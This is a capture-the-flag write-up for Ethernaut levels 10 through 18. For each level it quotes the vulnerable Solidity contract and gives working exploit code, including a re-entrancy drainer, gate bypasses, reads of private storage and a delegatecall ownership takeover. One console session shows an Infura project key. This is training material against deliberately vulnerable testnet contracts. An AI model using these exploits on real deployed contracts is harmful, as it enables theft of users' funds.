10-18 Ethernaut CTF


10 - Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

We must steal all the funds from this contract to complete the challenge. We have donate and withdraw functions to donate and withdraw our ether. However, suppose we notice the withdraw function carefully. In that case, the contract is first transferring the ether using msg.sender.call and then deducting the amount from the balance since the contract is using call if the withdrawer is a smart contract the receive, or fallback functions can be activated. We can call the withdraw function again and again until the balance is drained out recursively, and it will work since we never completed the msg.sender.call line to get our balance reduced. This way, we can steal all the funds of this contract.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}

contract Exploit {

Reentrance re;
address payable owner;

constructor(address _address) payable {
re = Reentrance(_address);
owner = payable(msg.sender);
re.donate{value: 1000000000000000}(address(this));
}

function withdraw() public{
re.withdraw(re.balanceOf(address(this)));
owner.transfer(address(this).balance);
}
receive() external payable {
if(address(re).balance>0){
if(address(re).balance>=re.balanceOf(address(this))){
re.withdraw(re.balanceOf(address(this)));
}
else{
re.withdraw(address(re).balance);
}
}
}
}

11 - Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

To complete this challenge, we need to make the value of bool top as True. However, it only gets reassigned if the Building contract gives the value as False. since msg.sender is the Building contract and we are the one who defines it, we can make the value changed before the Elevator contract calls it again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function goTo(uint _floor) external;
}

contract Building {

Elevator e;
bool called;
constructor(address _address) {
e = Elevator(_address);
}

function go() public{
e.goTo(10);
}

function isLastFloor(uint _floor) external returns (bool){
if(called){
return true;
}
else{
called = true;
return false;
}
}

}

12 - Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

To complete this challenge, we need to understand how solidity stores each type of data and how explicit converting works in solidity, and how the storage works inside the EVM, and read the key by calculating which slot it is stored and give it to unlock function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

In [134]: ad = '0x79B55BD4ED78B2aF03e07d8b5C0f2CfF390E3d3E'

In [135]: io.eth.get_storage_at(ad,0)
Out[135]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')

In [136]: io.eth.get_storage_at(ad,1)
Out[136]: HexBytes('0x00000000000000000000000000000000000000000000000000000000637fe66c')

In [137]: io.eth.get_storage_at(ad,2)
Out[137]: HexBytes('0x00000000000000000000000000000000000000000000000000000000e66cff0a')

In [138]: io.eth.get_storage_at(ad,3)
Out[138]: HexBytes('0xbffb089211dbe3c12a6211e34002c0d91397fa7c8ec0700e6addc0df29340649')

In [139]: io.eth.get_storage_at(ad,4)
Out[139]: HexBytes('0xefd4f1ae0109ba73e577a3bd5f92d655ad6d0c1292992609c43612a4168059c9')

In [140]: io.eth.get_storage_at(ad,5)
Out[140]: HexBytes('0x332faac480ae54c0664260478cc5d622f8af6cae087fe33c24b297f6ba0105f5')

In [141]: '0x332faac480ae54c0664260478cc5d622f8af6cae087fe33c24b297f6ba0105f5'[:34]
Out[141]: '0x332faac480ae54c0664260478cc5d622'
1
await contract.unlock('0x332faac480ae54c0664260478cc5d622')

13 - Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

To complete this challenge, we need to be the entrant, and we can do that if we can get past these three function modifiers, which act like gates. We cannot pass through the first gate if we directly interact with the contract, which means we have to write a smart contract to interact with this contract. The second gate checks if the gas left is a multiple of 8191, so we need to interact with the contract giving the required amount of gas which is a multiple of 8191. The third gate needs a _gatekey, which passes all the requirements which need the _gatekey to be a bytes8 type. The least significant 16 bits must be equal to the least significant 32 bits and lowest 16 bits of tx.origin and should not be equal to the _gatekey: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) != uint64(_gateKey) == uint16(uint160(tx.origin)). Satisfying all these requirements of three gates makes us the entrant.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Exploit {

GatekeeperOne gk1;
uint64 gatekey = 0x10000c5d6;

constructor(address _address) payable {
gk1 = GatekeeperOne(_address);
}

function exploit() public {
for(uint i = 0; i<= 8191; i++){
// gk1.enter{gas: 5000000 + i}(bytes8(gatekey));
address(gk1).call{gas: 5000000 + i}(abi.encodeWithSignature("enter(bytes8)", bytes8(gatekey)));
}
}
}

14 - Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

This challenge is a sequel of the previous one and similarly has three gates to pass, and the first is the same as the gatekeeper one challenge, second gate checks if the size of data of the caller is 0 using extcodesize(caller()). This gate can be passed if the caller contract is running. It is a constructor while this call is made. Coming to the third gate, it checks the _gatekey equal to 2**256 when xored with the caller address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}

contract Exploit {

GatekeeperTwo gk2;

constructor(address _address) payable {
gk2 = GatekeeperTwo(_address);
gk2.enter( bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max));
}

}

15 - Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

To complete this challenge, we must spend all our locked tokens for ten years. If we look at the contract, it inherits the ERC20 library from openzeppelin and overrides the transfer function to add the check if the locked period is completed or not. However, apart from the transfer function, this contract inherits many more functions, including approve and transferFrom. However, these functions are not overridden and do not check for the locked period. So we can approve funds to our address and spend them using the approve and transferFrom functions which we have access to use.


16 - Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

To complete this challenge, we must become the contract owner. This contract stores two addresses of different instances of the same library, LibararyContract and the owner address and then it stores an uint256 storedTime. since the functions are used to perform a delegatecall and reassigns a uint256 we can replace the first slot according to LibraryContract slot of storedTime if we replace it with the address our contract we can run some malicious code and replace the owner address to be the address of player.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Preservation{
function setFirstTime(uint _timeStamp) external;
}

contract Exploit {

Preservation p;
uint256 x = 55; // just to keep the slot busy!!
address public owner;

constructor(address _address) {
p = Preservation(_address);
}

function exploit() public{
p.setFirstTime(uint256(uint160(address(this))));
p.setFirstTime(uint256(uint160(msg.sender)));
}

function setTime(uint _time) public {
owner = address(uint160(_time));
}
}

17 - Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

This contract is a SimpleToken factory that generates token contracts but does not store the address of the created contracts. The task is to recover the 0.001 eth from the contract created. Since we do not know the address, we have to calculate it and use the destroy function to recover the funds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

In [1]: from web3 import Web3

In [2]: from web3.middleware import geth_poa_middleware

In [3]: url = 'https://sepolia.infura.io/v3/e1881826831143f285a553a9a8f5a308'

In [4]: io = Web3(Web3.HTTPProvider(url))

In [5]: io.middleware_onion.inject(geth_poa_middleware, layer=0)

In [6]: pub = '0x25Bf651a048be8420997944C92c80e5064C1c5d6'

In [7]: ad = '0xCCF85c12C838a1BdDf89de787B11d01b28C4d5E6'

In [8]: import rlp

In [9]: rlp.encode([bytes.fromhex(ad[2:]),1])
Out[9]: b'\xd6\x94\xcc\xf8\\\x12\xc88\xa1\xbd\xdf\x89\xdex{\x11\xd0\x1b(\xc4\xd5\xe6\x01'

In [10]: io.soliditySha3(abi_types=['bytes32'],values=[rlp.encode([bytes.fromhex(ad[2:]),1])])
Out[10]: HexBytes('0xd0729ffe5272824ee52a49613ae562cdb3c5caa78df321dcbf66feb7fe25d466')

In [11]: io.soliditySha3(abi_types=['bytes32'],values=[rlp.encode([bytes.fromhex(ad[2:]),1])])[12:]
Out[11]: HexBytes('0x3ae562cdb3c5caa78df321dcbf66feb7fe25d466')

In [12]: io.toChecksumAddress(io.soliditySha3(abi_types=['bytes32'],values=[rlp.encode([bytes.fromhex(ad[2:]),1])])
...: [12:])
Out[12]: '0x3Ae562cdb3c5cAa78DF321DcBF66feb7Fe25d466'

18 - MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

For this challenge, we need to provide an address of a smart contract that returns the given number 42 when it calls whatIsTheMeaningOfLife() function, but it is size must be ten opcodes which forces us to use EVM bytecode. I have given up and looked at the walkthrough of this challenge and understood the basics of EVM bytecode from this blog blog and got the code for the smart contract.

1
"0x600a80600c6000396000f300602a60005260206000f3"